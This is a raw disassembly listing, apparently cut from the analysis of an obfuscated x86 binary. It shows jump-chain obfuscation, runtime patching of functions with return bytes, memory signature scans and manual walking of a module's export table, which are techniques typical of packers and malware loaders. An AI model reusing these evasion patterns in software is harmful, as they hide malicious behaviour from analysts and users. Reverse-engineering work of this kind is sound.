		xchg	ebx, ebp
		jmp	sub_445022
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFE5

loc_44CBFD:				; CODE XREF: sub_43DFE5:loc_449EBCj
		mov	eax, [esp+0]
		push	edx
		call	sub_43B469
		mov	eax, 9DD7AB44h
		push	ebx
		jmp	loc_447B6C
; END OF FUNCTION CHUNK	FOR sub_43DFE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DAF3

loc_44CC11:				; CODE XREF: sub_44DAF3:loc_44C3B0j
		cdq
		jmp	loc_43A0E6
; END OF FUNCTION CHUNK	FOR sub_44DAF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB8F

loc_44CC17:				; CODE XREF: sub_43EB8F:loc_44C5E6j
		jnz	loc_448B94
		jmp	sub_4394C0
; END OF FUNCTION CHUNK	FOR sub_43EB8F
; ---------------------------------------------------------------------------
		pop	edx
		js	loc_440BD2
		jmp	sub_44D3D7
; ---------------------------------------------------------------------------

loc_44CC2E:				; DATA XREF: sub_43C55C+E91Ao
		xchg	ecx, [esp]
		jmp	sub_43B2CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445CE9

loc_44CC36:				; CODE XREF: sub_445CE9+Cj
		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-28h]
		push	333B5834h
		call	sub_44B2C1
; END OF FUNCTION CHUNK	FOR sub_445CE9
; START	OF FUNCTION CHUNK FOR sub_44A9D8

loc_44CC46:				; CODE XREF: sub_44A9D8-C156j
		jg	loc_43B53B

loc_44CC4C:				; CODE XREF: sub_44A9D8:loc_4383E5j
		or	edi, 5AF71E14h
		xor	edi, 7BCAFFB3h
		add	edi, 0A53D7D6Fh
		jmp	loc_437A9F
; END OF FUNCTION CHUNK	FOR sub_44A9D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_44CC63:				; CODE XREF: sub_448C95-41E4j
		jz	loc_4422AA

loc_44CC69:				; CODE XREF: sub_441819+173Aj
		jmp	loc_439814
; END OF FUNCTION CHUNK	FOR sub_448C95
; ---------------------------------------------------------------------------
		cdq
		rol	ebp, 18h
		pushf
; START	OF FUNCTION CHUNK FOR sub_44368F

loc_44CC73:				; CODE XREF: sub_44368F:loc_446354j
		jmp	loc_4422A8
; END OF FUNCTION CHUNK	FOR sub_44368F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_44CC78:				; CODE XREF: sub_43B1D6+12A2Cj
		xchg	edi, [esp+8+var_8]
		push	offset sub_449D87
		jmp	nullsub_264
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A6D1

loc_44CC85:				; CODE XREF: kgbikm34:0043DEE0j
					; sub_44A6D1+9j ...
		jo	loc_44C878
		sub	ebx, 10000h
		mov	eax, [ebx]
		neg	eax
		cmp	ax, 0A5B3h
		jnz	loc_44CC85
		retn
; END OF FUNCTION CHUNK	FOR sub_44A6D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD9F

loc_44CCA0:				; CODE XREF: sub_43AD9F+9DADj
		jmp	loc_44296F
; ---------------------------------------------------------------------------

loc_44CCA5:				; CODE XREF: sub_43AD9F+Cj
		jmp	loc_4393AD
; END OF FUNCTION CHUNK	FOR sub_43AD9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_44CCAA:				; CODE XREF: sub_440E0B:loc_44264Cj
		push	edx
		call	sub_447B31
		push	0F26E89E4h
		pop	eax
		rol	eax, 19h
		add	eax, 1B406936h
		jmp	loc_449A66
; END OF FUNCTION CHUNK	FOR sub_440E0B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_167. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44CCC5:				; CODE XREF: kgbikm34:00443E1Fj
		jmp	loc_44491E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_44CCCA:				; CODE XREF: sub_449F77-D5BCj
		jmp	loc_44B2F0
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------

loc_44CCCF:				; CODE XREF: kgbikm34:0043C663j
		jmp	locret_443EF9
; ---------------------------------------------------------------------------
		test	ecx, 4838175Eh
		jmp	loc_448673
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_307. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jo	loc_4493C7
		mov	eax, [esp]
		push	edx
		call	sub_43A4CE
		mov	eax, 5A4FBBBh
		jmp	loc_4493AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_44CCF9:				; CODE XREF: sub_44B20C-29B6j
		cmp	al, 0A4h
		jz	loc_43EB87
		jmp	loc_4419A0
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------

loc_44CD06:				; CODE XREF: kgbikm34:loc_4399A0j
		or	eax, eax
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_44CD08:				; CODE XREF: sub_4474D5+4A6Cj
		jnz	loc_447F8E
		jmp	loc_44576E
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
		mov	eax, 3E69A3C2h
		call	sub_4400C7
		mov	ds:off_41E014, eax
		lea	eax, sub_438B6B
		mov	byte ptr [eax],	0C3h
		jmp	loc_439F18

; =============== S U B	R O U T	I N E =======================================



sub_44CD31	proc near		; CODE XREF: sub_40158F+9Fp
					; sub_40158F+1B0p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044C23A SIZE 00000026 BYTES

		push	ecx
		jmp	loc_44C23A
sub_44CD31	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_44CD37:				; CODE XREF: sub_440E0B+A007j
		cmp	al, 0A4h
		jz	loc_43AE6F
		jmp	loc_43B70E
; END OF FUNCTION CHUNK	FOR sub_440E0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A6A7

loc_44CD44:				; CODE XREF: sub_44A6A7:loc_44D932j
		pop	eax
		add	eax, 9DFDF488h
		xor	eax, 71243EB3h
		sub	eax, 0AFAD77BBh
		xor	eax, 1D6A840h
		call	sub_43BF6F
		mov	ds:dword_41E0D0, eax
		jmp	loc_43B180
; END OF FUNCTION CHUNK	FOR sub_44A6A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440CD

loc_44CD6D:				; CODE XREF: sub_4440CD:loc_448E97j
		mov	byte ptr [eax],	0C3h
		jmp	sub_4440CD
; ---------------------------------------------------------------------------

loc_44CD75:				; CODE XREF: sub_4440CD:loc_447B5Bj
		mov	eax, [esp-8+arg_4]
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp-4+arg_0]
		call	sub_43A4CE
		jmp	loc_448652
; END OF FUNCTION CHUNK	FOR sub_4440CD
; ---------------------------------------------------------------------------
		jmp	ds:off_41E040
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F78

loc_44CD8E:				; CODE XREF: sub_440F78-83F4j
					; kgbikm34:0043FA04j ...
		jno	loc_43FA09
		xchg	eax, [esp+0]
		mov	edx, eax
		jmp	loc_43A0D6
; END OF FUNCTION CHUNK	FOR sub_440F78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439034

loc_44CD9E:				; CODE XREF: sub_439034:loc_44B9C9j
		push	edx
		call	sub_447B31
		push	11AB5B94h
		pop	eax
		rol	eax, 1Ch
		add	eax, 0E3C358EFh
		jmp	loc_43B2FD
; END OF FUNCTION CHUNK	FOR sub_439034
; ---------------------------------------------------------------------------
		rol	eax, 1Ah
		sub	eax, 35EFF5C8h
; START	OF FUNCTION CHUNK FOR sub_43D045

loc_44CDC1:				; CODE XREF: sub_43D045:loc_43F909j
		push	offset loc_44CB71
		jmp	nullsub_299
; END OF FUNCTION CHUNK	FOR sub_43D045
; ---------------------------------------------------------------------------
		sub	edi, 2A249606h
		jmp	sub_4416DD

; =============== S U B	R O U T	I N E =======================================



sub_44CDD6	proc near		; CODE XREF: sub_44649E-CF91p
					; kgbikm34:0043E85Fj

; FUNCTION CHUNK AT 004425FF SIZE 00000011 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-0Ch]
		cmp	eax, [ebp-14h]
		jb	loc_4425FF
		push	offset loc_44814A
		jmp	nullsub_230
sub_44CDD6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44CDF3:				; CODE XREF: kgbikm34:0044DFA5j
		sub	ebp, 243018B0h
		mov	eax, edx
		xchg	esi, ebx
; START	OF FUNCTION CHUNK FOR sub_446E38

loc_44CDFD:				; CODE XREF: sub_446E38:loc_44DF99j
		xor	eax, 3695FA7h
		add	eax, ebp
		jmp	loc_4417E1
; END OF FUNCTION CHUNK	FOR sub_446E38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DC12

loc_44CE0A:				; CODE XREF: sub_44DC12-EF8Dj
		jb	loc_43AE80
; END OF FUNCTION CHUNK	FOR sub_44DC12
; START	OF FUNCTION CHUNK FOR sub_44157D

loc_44CE10:				; CODE XREF: sub_44157D:loc_44158Bj
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_44157D
; ---------------------------------------------------------------------------
		mov	eax, 7AC3D363h
		push	ecx
		jmp	loc_43AE79
; ---------------------------------------------------------------------------

loc_44CE20:				; CODE XREF: kgbikm34:00441503j
		ror	edi, 11h
		add	esi, ebx
; START	OF FUNCTION CHUNK FOR sub_437613

loc_44CE25:				; CODE XREF: sub_437613:loc_4414EDj
		or	eax, 8E524A8Ch
		sub	eax, 5E9C0B57h
		cmp	eax, 89F72C74h
		jmp	loc_4403B9
; END OF FUNCTION CHUNK	FOR sub_437613
; ---------------------------------------------------------------------------

loc_44CE3C:				; CODE XREF: kgbikm34:loc_4417D1j
		and	esi, 0AF1267ADh
		add	esi, 533F7E68h
		mov	[esi], eax
		pop	esi
		lea	eax, nullsub_11
		jmp	loc_440611
; ---------------------------------------------------------------------------
		cmp	eax, edi
		jmp	loc_43C767
; ---------------------------------------------------------------------------

loc_44CE5D:				; DATA XREF: sub_43C9D6+D2B0o
		add	edx, 0A49448h
		xchg	edx, [esp]
		jmp	loc_43F2EA

; =============== S U B	R O U T	I N E =======================================



sub_44CE6B	proc near		; CODE XREF: sub_447193-8D1Ep
					; kgbikm34:004492EDj
		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [eax+24h]

loc_44CE72:				; CODE XREF: kgbikm34:loc_43E17Ej
		add	eax, [ebp-4]
		xor	edx, edx
		jmp	loc_44465A
sub_44CE6B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44CE7C:				; CODE XREF: kgbikm34:loc_439637j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_44CE7E:				; CODE XREF: sub_438B6B+1FC4j
		jmp	loc_4378F3
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_44CE83:				; CODE XREF: sub_4474D5-8806j
		rol	eax, 1Ah
		push	edi
		jmp	loc_442537
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C1F4

loc_44CE8C:				; CODE XREF: sub_43C1F4:loc_44C980j
		jnz	loc_43DCDF
; END OF FUNCTION CHUNK	FOR sub_43C1F4
; START	OF FUNCTION CHUNK FOR sub_44DC12

loc_44CE92:				; CODE XREF: sub_44DC12:loc_44DC29j
		jmp	loc_440930
; END OF FUNCTION CHUNK	FOR sub_44DC12
; ---------------------------------------------------------------------------
		mov	ebx, 5C4F5A9Eh
		xor	esi, 7A6C5700h
		rol	eax, 0Ah
		jmp	loc_43DCDD
; ---------------------------------------------------------------------------
		rol	esi, 0Dh
		jmp	sub_43BC26
; ---------------------------------------------------------------------------

loc_44CEB2:				; CODE XREF: kgbikm34:004446A4j
		sbb	ecx, 96D7E136h
		push	0B9FECF0Ah
		rol	edx, 16h

loc_44CEC0:				; CODE XREF: kgbikm34:loc_4479CAj
		push	eax
		lea	eax, dword_441C2C
		jmp	loc_44241E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_247. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4414DB

loc_44CECD:				; CODE XREF: sub_4414DB+D4Dj
		jmp	nullsub_232
; END OF FUNCTION CHUNK	FOR sub_4414DB
; ---------------------------------------------------------------------------

loc_44CED2:				; CODE XREF: kgbikm34:0043ED86j
					; kgbikm34:0043ED98j
		add	esi, 0FB3EF6D5h
		xchg	esi, [esp]
		jmp	loc_4375A2
; ---------------------------------------------------------------------------

loc_44CEE0:				; DATA XREF: sub_44173C-1FDo
		call	nullsub_5
		jmp	loc_43A8C8

; =============== S U B	R O U T	I N E =======================================



sub_44CEEA	proc near		; CODE XREF: sub_4487F2+3j
		add	esp, 0FFFFFED8h
		mov	[ebp-8], edx
		push	offset loc_4478F8
		jmp	nullsub_233
sub_44CEEA	endp

; ---------------------------------------------------------------------------
		jle	loc_44A6AB
		jmp	sub_447FC7

; =============== S U B	R O U T	I N E =======================================



sub_44CF08	proc near		; CODE XREF: sub_4394EB+4589p
					; kgbikm34:00449D2Cj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00438452 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0043DAE5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043F81A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043FFB0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440E69 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004420AD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00443B9D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044505F SIZE 0000001E BYTES

		xchg	edx, [esp+0]
		pop	edx
		ror	eax, 0Dh
		jnz	loc_43DAE5
		push	edx
		push	151ED424h
		jmp	loc_440E69
sub_44CF08	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44CF20:				; CODE XREF: kgbikm34:0043F8CEj
		jz	loc_43DB3B
		jmp	loc_438F1D
; ---------------------------------------------------------------------------

loc_44CF2B:				; CODE XREF: kgbikm34:0043E49Aj
		jl	loc_4389FC
		mov	edi, [eax]
		mov	eax, 0E5D353B6h
		popf
		jmp	loc_4389FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E58D

loc_44CF3E:				; CODE XREF: sub_43E58D+DB82j
		add	edx, 0EC45D99Ch
		mov	[edx], eax
		pop	edx
		lea	eax, nullsub_341
		jmp	loc_438C79
; END OF FUNCTION CHUNK	FOR sub_43E58D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFE5

loc_44CF52:				; CODE XREF: sub_43DFE5:loc_44D188j
		jnz	loc_43BFB5
		jmp	loc_44BA25
; END OF FUNCTION CHUNK	FOR sub_43DFE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_44CF5D:				; CODE XREF: sub_43BCAD-2D0Bj
					; kgbikm34:0043A7C1j
		xor	eax, 32FFD991h

loc_44CF63:				; CODE XREF: kgbikm34:loc_43A2F3j
		push	offset sub_43F139
		jmp	loc_44D14D
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------

loc_44CF6D:				; DATA XREF: sub_43A108+10F4Bo
		mov	byte ptr [eax],	0C3h
		jmp	loc_4410EE
; ---------------------------------------------------------------------------
		push	ecx
		push	0DA0C15D0h
		pop	ecx
		and	ecx, 0C4FF9B57h
		add	ecx, 4037D1CDh
		xchg	ecx, [esp]
		jmp	loc_440900
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B26D

loc_44CF90:				; CODE XREF: sub_43B26D:loc_4374B7j
		xchg	ebx, [esp+4+var_4]
		push	197E1A45h
		pop	edx
		add	edx, 0AD9E91F0h
		sub	edx, 0CF8D7411h

loc_44CFA5:				; CODE XREF: sub_43BF6F+2BEDj
		add	edx, 8B4A65Bh
		xchg	edx, [esp+4+var_4]
		jmp	loc_440220
; END OF FUNCTION CHUNK	FOR sub_43B26D
; ---------------------------------------------------------------------------
		sbb	ebp, ebx
		jmp	sub_447D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA71

loc_44CFBA:				; CODE XREF: sub_43FA71:loc_4475B3j
		jnz	loc_443B1B
		jmp	loc_43C2D3
; END OF FUNCTION CHUNK	FOR sub_43FA71
; ---------------------------------------------------------------------------
		cmp	esi, ecx
		jmp	loc_442D55
; ---------------------------------------------------------------------------

locret_44CFCC:				; CODE XREF: kgbikm34:004415E5j
		retn
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, esi
		xchg	edi, [esp]
		push	7C0490B9h
		call	sub_4379E6
; START	OF FUNCTION CHUNK FOR sub_43E513

loc_44CFDD:				; CODE XREF: sub_43E513+E444j
		jmp	nullsub_72
; END OF FUNCTION CHUNK	FOR sub_43E513
; ---------------------------------------------------------------------------

loc_44CFE2:				; CODE XREF: kgbikm34:0044505Aj
		jmp	loc_44BD18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_44CFE7:				; CODE XREF: sub_43BCAD+5ECDj
		pop	edx
		add	ebx, esi
		mov	[eax], ebp
		mov	eax, ebp
		jmp	loc_44E25F
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------

loc_44CFF3:				; CODE XREF: kgbikm34:00449504j
		jnz	loc_44DF05
; START	OF FUNCTION CHUNK FOR sub_44E1B2

loc_44CFF9:				; CODE XREF: sub_44E1B2+1Aj
		jmp	loc_43FAF3
; END OF FUNCTION CHUNK	FOR sub_44E1B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44527A

loc_44CFFE:				; CODE XREF: sub_44527A-1F49j
		jmp	loc_44A955
; END OF FUNCTION CHUNK	FOR sub_44527A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFA4

loc_44D003:				; CODE XREF: sub_43DFA4-35FFj
		jmp	loc_43D833
; END OF FUNCTION CHUNK	FOR sub_43DFA4
; ---------------------------------------------------------------------------
		adc	edi, ebp
		jmp	loc_44DF03
; ---------------------------------------------------------------------------

loc_44D00F:				; DATA XREF: kgbikm34:loc_43BCF5o
		push	eax
		mov	edx, eax
		jmp	loc_440339
; ---------------------------------------------------------------------------
		mov	edx, ds:dword_438E54
		or	edx, edx
		jnz	loc_44C89A
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_44D025:				; CODE XREF: sub_4394EB:loc_438590j
		jmp	loc_44D93E
; END OF FUNCTION CHUNK	FOR sub_4394EB

; =============== S U B	R O U T	I N E =======================================



sub_44D02A	proc near		; DATA XREF: sub_44A9BB:loc_43B006o

; FUNCTION CHUNK AT 0043A09D SIZE 00000006 BYTES

		call	sub_4396C0
		pop	ecx
		shl	eax, 7
		mov	edx, [ebp+8]
		mov	edx, [edx-8]
		or	edx, 40h
		or	eax, edx
		jmp	loc_43A09D
sub_44D02A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44D043	proc near		; CODE XREF: sub_43E4C0+9p
					; kgbikm34:00441835j

; FUNCTION CHUNK AT 00439BA3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AD35 SIZE 0000000F BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	ecx
		cmp	ds:dword_43C590, 0
		jnz	loc_44D9F2
		jmp	loc_439BA3
sub_44D043	endp

; ---------------------------------------------------------------------------
		pop	ebx
		jmp	sub_43EAEE
; ---------------------------------------------------------------------------

loc_44D060:				; DATA XREF: sub_44A19Co
		jo	loc_443FB0
		call	sub_44A476
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_44D06B:				; CODE XREF: sub_44B20C-D5CFj
		ror	edi, 0Ch
		cmp	ecx, esi
		jmp	loc_43BD51
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------

locret_44D075:				; CODE XREF: kgbikm34:loc_4449EAj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_44D076:				; CODE XREF: sub_440E0B:loc_449325j
		jmp	loc_448F07
; END OF FUNCTION CHUNK	FOR sub_440E0B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_152. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_44D07C	proc near		; DATA XREF: sub_444D26-5EDCo

; FUNCTION CHUNK AT 0043A052 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B693 SIZE 00000017 BYTES

		add	eax, ecx
		pop	ecx
		rol	eax, 10h
		push	edi
		jmp	loc_43A052
sub_44D07C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A680

loc_44D088:				; CODE XREF: sub_44A680:loc_44D32Fj
		call	sub_4490AC

loc_44D08D:				; CODE XREF: sub_43F145:loc_4378ADj
		or	ecx, ecx
		jz	loc_448B0B
		mov	edx, [ebx+ecx]
		jmp	loc_44843B
; END OF FUNCTION CHUNK	FOR sub_44A680
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4414DB

loc_44D09D:				; CODE XREF: sub_4414DB:loc_44221Aj
		mov	ebx, [eax+18h]
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		jmp	loc_445F78
; END OF FUNCTION CHUNK	FOR sub_4414DB
; ---------------------------------------------------------------------------

loc_44D0AC:				; CODE XREF: kgbikm34:loc_43CBC3j
		pop	esi
		rol	edx, 6
		sub	edx, 7C06DBA5h
		add	edx, 0CE69500Eh

loc_44D0BC:				; DATA XREF: sub_4467D1+5o
		xchg	edx, [esp]
		jmp	sub_44B47A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438C33

loc_44D0C4:				; CODE XREF: sub_438C33:loc_4427F0j
		pop	ebp
		and	edi, 8A3D4186h
		call	sub_44D862
; END OF FUNCTION CHUNK	FOR sub_438C33
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_226. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4372E5

loc_44D0D1:				; CODE XREF: sub_4372E5:loc_43A899j
		jz	loc_43CC07
		jmp	loc_442FED
; END OF FUNCTION CHUNK	FOR sub_4372E5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_311. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CABC

loc_44D0DD:				; CODE XREF: sub_44CABC-CEFCj
		push	edi

loc_44D0DE:				; CODE XREF: kgbikm34:loc_43F51Ej
		push	0E26C6CE7h
		pop	edi
		add	edi, 297C5CCDh
		jmp	loc_43A542
; END OF FUNCTION CHUNK	FOR sub_44CABC
; ---------------------------------------------------------------------------

loc_44D0EF:				; CODE XREF: kgbikm34:0043DA8Dj
		shl	eax, 2
		cdq
		add	eax, [esp]
		adc	edx, [esp+4]
		jo	loc_43AFD9
		add	esp, 8
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_44787F
; ---------------------------------------------------------------------------

loc_44D10D:				; DATA XREF: sub_43D632+5669o
		add	ecx, 62644F66h
		xchg	ecx, [esp]

loc_44D116:				; CODE XREF: kgbikm34:loc_445F15j
		jmp	loc_4449F9
; ---------------------------------------------------------------------------

loc_44D11B:				; CODE XREF: kgbikm34:loc_43E15Dj
		push	0D206ABF4h
		pop	edi
		xor	edi, 0FAB35BDCh
		jnz	loc_442A71
; START	OF FUNCTION CHUNK FOR sub_43D4E9

loc_44D12D:				; CODE XREF: sub_43D4E9+AFFAj
		jmp	loc_43C1C4
; END OF FUNCTION CHUNK	FOR sub_43D4E9
; ---------------------------------------------------------------------------

loc_44D132:				; CODE XREF: kgbikm34:00445D8Bj
		jmp	loc_44D170
; ---------------------------------------------------------------------------

loc_44D137:				; CODE XREF: kgbikm34:0043D7E5j
		jmp	locret_449D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5F7

loc_44D13C:				; CODE XREF: sub_43F5F7-6745j
		jmp	sub_43F5F7
; END OF FUNCTION CHUNK	FOR sub_43F5F7
; ---------------------------------------------------------------------------
		or	eax, ecx
		jmp	sub_43D4D5
; ---------------------------------------------------------------------------

loc_44D148:				; CODE XREF: kgbikm34:0044A86Dj
		call	sub_440104
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_44D14D:				; CODE XREF: sub_43BCAD+112BBj
		jmp	nullsub_293
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440501

loc_44D152:				; CODE XREF: sub_440501+18j
		mov	ds:dword_43E238, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_440501
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F72

loc_44D158:				; CODE XREF: sub_439F72+C78Fj
		jmp	loc_443D9B
; END OF FUNCTION CHUNK	FOR sub_439F72
; ---------------------------------------------------------------------------
		lea	eax, nullsub_5
		mov	byte ptr [eax],	0C3h
		call	sub_44A9D8
		jmp	loc_4391EF
; ---------------------------------------------------------------------------

loc_44D170:				; CODE XREF: kgbikm34:loc_44D132j
		ja	loc_44D5CF
		jmp	loc_43FBA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFE5

loc_44D17B:				; CODE XREF: sub_43DFE5:loc_445A57j
		pop	ecx
		xor	ebx, 557F3DEAh
		jnz	loc_445697

loc_44D188:				; CODE XREF: sub_449F01+12j
		jmp	loc_44CF52
; END OF FUNCTION CHUNK	FOR sub_43DFE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_44D18D:				; CODE XREF: sub_43EAEE+459Bj
		jmp	loc_44C7C8
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442EA7

loc_44D192:				; CODE XREF: sub_442EA7+Cj
		jmp	locret_43DCE4
; END OF FUNCTION CHUNK	FOR sub_442EA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D9CE

loc_44D197:				; CODE XREF: sub_44D9CE-11A40j
		jmp	loc_439C4D
; END OF FUNCTION CHUNK	FOR sub_44D9CE
; ---------------------------------------------------------------------------
		sub	eax, 0DC3C8B97h
		jmp	loc_43882B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445138

loc_44D1A7:				; CODE XREF: sub_445138-BF11j
		jnz	loc_43E332
		mov	edx, [esi]
		xor	ebx, 0B8395F8Dh
		jmp	loc_43E332
; END OF FUNCTION CHUNK	FOR sub_445138
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440834

loc_44D1BA:				; CODE XREF: sub_440834+79E2j
		jns	loc_443273
		mov	ebx, 0E3BB6D86h
		jmp	loc_43FE2E
; END OF FUNCTION CHUNK	FOR sub_440834
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444864

loc_44D1CA:				; CODE XREF: sub_444864:loc_440D3Cj
		jnz	loc_439372
		jmp	loc_443E67
; END OF FUNCTION CHUNK	FOR sub_444864
; ---------------------------------------------------------------------------

loc_44D1D5:				; CODE XREF: kgbikm34:loc_443AB5j
		mov	eax, esi
		pop	esi
		and	eax, 338B1062h
		add	eax, 0FF43D1CCh
		xchg	eax, [esp]
		jmp	loc_437976
; ---------------------------------------------------------------------------
		push	offset loc_44418B
		jmp	locret_43EEAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_44D1F6:				; CODE XREF: sub_444A5E+5B9Cj
		jz	loc_44BB08
		jmp	loc_4371DE
; END OF FUNCTION CHUNK	FOR sub_444A5E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_289. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44D202:				; CODE XREF: kgbikm34:00439914j
		jmp	loc_44BF76
; ---------------------------------------------------------------------------

loc_44D207:				; CODE XREF: kgbikm34:0043C819j
		jge	loc_437055

; =============== S U B	R O U T	I N E =======================================



sub_44D20D	proc near		; CODE XREF: sub_444051:loc_43B5FAp

; FUNCTION CHUNK AT 004376A7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044B6DC SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		ror	eax, 19h
		push	ebx
		push	0A571F861h
		jmp	loc_44B6DC
sub_44D20D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44D21F	proc near		; DATA XREF: sub_44DA3B+Fo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437772 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437B06 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B1E6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043B233 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043BAD5 SIZE 0000001B BYTES
